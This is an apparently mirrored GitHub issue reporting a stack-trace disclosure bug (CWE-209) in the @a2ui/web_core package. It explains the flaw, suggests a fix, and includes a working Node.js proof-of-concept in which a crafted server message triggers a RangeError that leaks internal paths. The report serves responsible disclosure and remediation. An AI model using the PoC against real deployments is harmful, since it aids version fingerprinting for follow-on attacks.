a2ui-project / a2ui-project/a2ui

[BUG]: Full V8 stack traces disclosed to `onError` subscribers via `dispatchExpressionError`

Abierto
#2,385 2 comentarios 0 reacciones 1 asignado Reclamado por @Varun-S10 Ver en GitHub
P2 status: first-line-handled status: needs review type: bug
Lenguaje dominante
TypeScript
Estrellas
16.4k
Forks
1.3k
Merge medio
2 d 13 h
PR fusionados (30 d)
134

Descripción

# Full V8 stack traces disclosed to `onError` subscribers via `dispatchExpressionError`

Repository: https://github.com/a2ui-project/a2ui
Affected: `@a2ui/web_core` (verified against published npm release 0.10.6)
CWE: CWE-209 (Generation of Error Message Containing Sensitive Information)

## Summary

When a bound function call throws, `DataContext.dispatchExpressionError` handles `ZodError` and `A2uiExpressionError` specially, but for **any other** error it attaches `details: { stack: e.stack }` — the complete V8 stack, including internal source paths and line numbers of the SDK itself. `SurfaceModel.onError` (an EventEmitter) forwards these detail objects to every subscriber, so a server-driven binding that triggers a native error (e.g. `formatNumber` with `decimals: 200` raising `RangeError` from `Number.prototype.toFixed`) leaks the client's internal stack into whatever the host application logs or renders for surface errors.

## Affected code

- `renderers/web_core/src/v0_9/rendering/data-context.ts` — `dispatchExpressionError` fallback branch sets `details: { stack: e.stack }` for non-Zod, non-`A2uiExpressionError` throws (npm dist `v0_9/rendering/data-context.js:267-274`)
- `SurfaceModel.onError` (EventEmitter) — dispatches `{…error, surfaceId}` to all subscribers

## Observed behavior (measured)

`formatNumber` bound with `decimals: 200` on a published-package surface; captured via `surface.onError`:

- 3 errors dispatched (initial resolution + re-fire after a data-model change)
- leaked stack frames include `at Number.toFixed ()` and the SDK-internal path of the reactivity layer (`…/web_core/…/signals.js:66`, batch write internals)

## Impact

An agent can, from a single message, cause internal file paths and SDK structure to be emitted through the application's error channel — version/structure fingerprinting that aids targeted follow-on attacks (e.g. choosing version-specific payloads). Information disclosure only.

## Suggested remediation

- Never attach `e.stack` to subscriber-visible error details; keep a generic message plus an error code, and log the stack through the host's configured logger at most.

## PoC

Prerequisites: Node ≥ 20 with `@a2ui/web_core@0.10.6` installed. Run `node poc_f21.mjs`; on success it prints a JSON verdict ending in `"confirmed": true` and exits 0. (The script asserts the leak by checking that an emitted `details.stack` contains the `web_core` package path.)

```js
// poc_f21.mjs — F-21: stack-trace disclosure via dispatchExpressionError.
// The fallback branch of dispatchExpressionError puts the raw e.stack of any
// non-Zod, non-A2uiExpressionError exception into details:{stack:e.stack} and
// emits it through surface.onError. A malicious server triggers a generic JS
// exception inside a catalog function: formatNumber with decimals=200 →
// Number.prototype.toFixed(200) throws RangeError INSIDE execute(), past the
// try/catch guarding getNumberFormat. Confirmed if the emitted error carries
// details.stack containing the web_core source path.
import {
MessageProcessor, ComponentContext, GenericBinder, Catalog,
} from '@a2ui/web_core/v0_9';
import { TextFieldApi, ColumnApi, createBasicCatalogFunctions } from '@a2ui/web_core/v0_9/basic_catalog';

const CATALOG_ID = 'https://a2ui.org/specification/v0_9_1/catalogs/basic/catalog.json';
const catalog = new Catalog(CATALOG_ID, [ColumnApi, TextFieldApi], createBasicCatalogFunctions());
const processor = new MessageProcessor([catalog]);

processor.processMessages([
{ version: 'v0.9', createSurface: { surfaceId: 'poc', catalogId: CATALOG_ID } },
{ version: 'v0.9', updateDataModel: { surfaceId: 'poc', path: '/n', value: 1 } },
{
version: 'v0.9',
updateComponents: {
surfaceId: 'poc',
components: [
{ id: 'root', component: 'Column', children: ['tf'] },
{
id: 'tf', component: 'TextField', label: 'N', value: { path: '/n' },
checks: [{ condition: { call: 'formatNumber', args: { value: { path: '/n' }, decimals: 200 } }, message: 'bad' }],
},
],
},
},
]);

const surface = processor.model.getSurface('poc');
const errors = [];
const sub = surface.onError.subscribe(e => errors.push(e));
const ctx = new ComponentContext(surface, 'tf');
const binder = new GenericBinder(ctx, TextFieldApi.schema);
const bsub = binder.subscribe(() => {});
await new Promise(r => setTimeout(r, 50));
surface.dataModel.set('/n', 2); // re-fire
await new Promise(r => setTimeout(r, 50));
bsub.unsubscribe(); binder.dispose(); sub.unsubscribe();

const stackLeak = errors.find(e => e.details && typeof e.details.stack === 'string' && e.details.stack.includes('web_core'));
const ok = !!stackLeak;
console.log(JSON.stringify({
finding: 'F-21-stack-trace-disclosure',
errors_dispatched: errors.length,
leaked_stack_path: stackLeak ? stackLeak.details.stack.split('\n')[1].trim().slice(0, 80) : null,
confirmed: ok,
}, null, 2));
process.exit(ok ? 0 : 1);
```

Guía de contribución

Abrir la guía de contribución

Línea de trabajo

Look at renderers/web_core/src/v0_9/rendering/data-context.ts, specifically the dispatchExpressionError method. The fix is to avoid attaching e.stack to error details for non-Zod, non-A2uiExpressionError exceptions. Test by running the provided PoC script to confirm the leak, then modify the error handling to log the stack internally only, not expose it to subscribers. Verify by ensuring the PoC no longer prints a stack trace containing web_core paths.

Escrito por el modelo de indexación a partir del texto del issue.

Evaluación

Stack tecnológico
javascript, node.js, typescript
Área
backend-api-design, security
Tipo de issue
Error
Dificultad
3/5
Tiempo estimado
1-2 días
Estado de actividad
Activo
Claridad
Bien especificado
Aptitud para principiantes
55/100

Recibe los nuevos issues en tu correo

Un resumen breve de issues de GitHub para principiantes.